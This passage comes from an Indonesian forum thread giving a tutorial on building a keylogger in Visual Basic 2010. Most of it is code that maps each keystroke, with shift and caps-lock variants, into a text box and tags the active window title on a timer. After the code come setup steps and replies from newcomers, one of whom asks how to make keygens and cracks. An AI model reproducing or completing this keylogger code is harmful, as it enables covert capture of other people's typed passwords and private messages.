ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & Label1.Text
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "9"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + "0"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.F1 Then
TextBox1.Text = TextBox1.Text & "[F1]"
ElseIf Key = Keys.F2 Then
TextBox1.Text = TextBox1.Text & "[F2]"
ElseIf Key = Keys.F3 Then
TextBox1.Text = TextBox1.Text & "[F3]"
ElseIf Key = Keys.F4 Then
TextBox1.Text = TextBox1.Text & "[F4]"
ElseIf Key = Keys.F5 Then
TextBox1.Text = TextBox1.Text & "[F5]"
ElseIf Key = Keys.F6 Then
TextBox1.Text = TextBox1.Text & "[F6]"
ElseIf Key = Keys.F7 Then
TextBox1.Text = TextBox1.Text & "[F7]"
ElseIf Key = Keys.F8 Then
TextBox1.Text = TextBox1.Text & "[F8]"
ElseIf Key = Keys.F9 Then
TextBox1.Text = TextBox1.Text & "[F9]"
ElseIf Key = Keys.F10 Then
TextBox1.Text = TextBox1.Text & "[F10]"
ElseIf Key = Keys.F11 Then
TextBox1.Text = TextBox1.Text & "[F11]"
ElseIf Key = Keys.F12 Then
TextBox1.Text = TextBox1.Text & "[F12]"
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[DEL]"
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & Label1.Text
End If
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine
strin = GetActiveWindowTitle()
End If
End Sub
End Class
klo scripts di atas kurang jelas,lihat scripts yg dah ane kirim disini
6) Setelah semua scripts sudah km masukkin,pada pojok kanan atas di kolum Solution Explorer ,kan ada tulisan RieqyNS13-Tutorial,tulisan ini adalah judul dari aplikasi yg agan2 buat tersebut. Klik kanan pada tulisan itu dan kemudian pilih Properties ,kan muncul kotak,trus pilih Debug,Hilangkan centangan pada tulisan Enable the Visual Studio hosting process
untuk lebih jelasnya,lihat gambar berikut :
SS langkah 1 :
[You must be registered and logged in to see this image.]
SS langkah 2 :
[You must be registered and logged in to see this image.]
7) contengan pada kotak kecil di tulisan tersebut sebaiknya dihilangkan,karena pas waktu proses debuger nanti akan macet,jadi centangannya diilangin aja
7) Tinggal dicoba, TAPI pas dicoba ada pesan kaya gini :
[You must be registered and logged in to see this image.]
jangan kuatir,itu ga' ngaruh kok.. jika muncul pesan kaya gitu pas lagi proses Debugger,mending langsung simpan aja dgn Save All. bsa gk ksih video'a gan?
video'a hrs jelas bru aq bsa buat'a
pls gan
msih newbie aq neh Bner Gan kasih video tutorialnya gan,biar jeLas...
Oya, Ajarin ane bkin script2nya donk gan, ane bru bLajar VB soaLnya, mana tw bs bikin cit token, wkwkwkwkwkwkwk ..... | |
| | | | RieqyNS13
Moderator
Jumlah posting : 379
Join date : 2011-01-16
Age : 26
Lokasi : chmod 0655 GetConfig.SQL
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Sun Jul 31, 2011 4:21 pm | |
| - heineken wrote:
- aprianta_surbakti wrote:
bsa gk ksih video'a gan?
video'a hrs jelas bru aq bsa buat'a
pls gan
msih newbie aq neh
Bner Gan kasih video tutorialnya gan,biar jeLas...
Oya, Ajarin ane bkin script2nya donk gan, ane bru bLajar VB soaLnya, mana tw bs bikin cit token, wkwkwkwkwkwkwk ..... ane maunya sih gitu,soalnya ga'susah2 nulis panjang,tapi videonya klo di upload ke youtube lama,dan klo ke ziddu lama juga | |
| | | | aprianta_surbakti
Sesepuh
Jumlah posting : 357
Join date : 2011-03-06
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Sun Jul 31, 2011 4:28 pm | |
| - Quote :
- ane maunya sih gitu,soalnya ga'susah2 nulis panjang,tapi videonya klo di upload ke youtube lama,dan klo ke ziddu lama juga
ya upload aja gan aq gk bsa buat yg tombol" itu susah udh ane cari trus kgk ktemu  | |
| | | | Crusher
Moderator
Jumlah posting : 1158
Join date : 2011-04-26
Age : 111
Lokasi : Di Naruto.Lagi perang
| | | | | Crusher
Moderator
Jumlah posting : 1158
Join date : 2011-04-26
Age : 111
Lokasi : Di Naruto.Lagi perang
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Sun Jul 31, 2011 4:35 pm | |
| - aprianta_surbakti wrote:
-
- Quote :
- ane maunya sih gitu,soalnya ga'susah2 nulis panjang,tapi videonya klo di upload ke youtube lama,dan klo ke ziddu lama juga
ya upload aja gan
aq gk bsa buat yg tombol" itu susah
udh ane cari trus kgk ktemu MAAF DOPOST pencet CTRL+ALT+X ..misal pengen buat textbox1 klik text box..trus teken (TAHAN) tarik ke bawah sambil ke kanan..berhenti deh..kyk gambar gitu  | |
| | | | lanzhit
Warga Lama
Jumlah posting : 237
Join date : 2011-01-09
Lokasi : Dark Side
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Sun Jul 31, 2011 6:48 pm | |
| mantap gan...gimana cara buat keygen, patch atau crack..??. coz banyak softaware yang trial. | |
| | | | aprianta_surbakti
Sesepuh
Jumlah posting : 357
Join date : 2011-03-06
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Sun Jul 31, 2011 7:14 pm | |
| klo buat keylogger aq susah gan tpi klo buat media player udh bsa gan ini bukti'a - Spoiler:
[You must be registered and logged in to see this image.]gimna gan program saya? jlek or bgs? klo jlk jngn diledeek yah gan soal'a msih newbie buat membagusi'a hihihihi | |
| | | | heineken
Warga Lama
Jumlah posting : 107
Join date : 2011-01-26
Age : 26
Lokasi : Lubang Semut
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Wed Aug 03, 2011 10:14 pm | |
| | |
| | | | dmzmzz
Warga Lama
Jumlah posting : 81
Join date : 2011-04-28
Age : 32
Lokasi : WarzHome
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Wed Jan 04, 2012 4:56 pm | |
| | |
| | | | zhunDha
Sesepuh
Jumlah posting : 309
Join date : 2011-08-04
Age : 26
Lokasi : Magelang
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 Sat Jan 14, 2012 4:13 pm | |
| waw tutorial membuat keylogger ya ..... ane coba dulu ya ..... soalnya ane udah punya VB nih ..... hehehhehehe  | |
| | | | Sponsored content
| | Subject: Re: Tutorial buat keylogger sendiri dengan Visual Basic 2010 | |
| |
| | | | | | Tutorial buat keylogger sendiri dengan Visual Basic 2010 | |
|
Similar topics |  |
|
| | Permissions in this forum: | You cannot reply to topics in this forum
| |
| |
| |
|
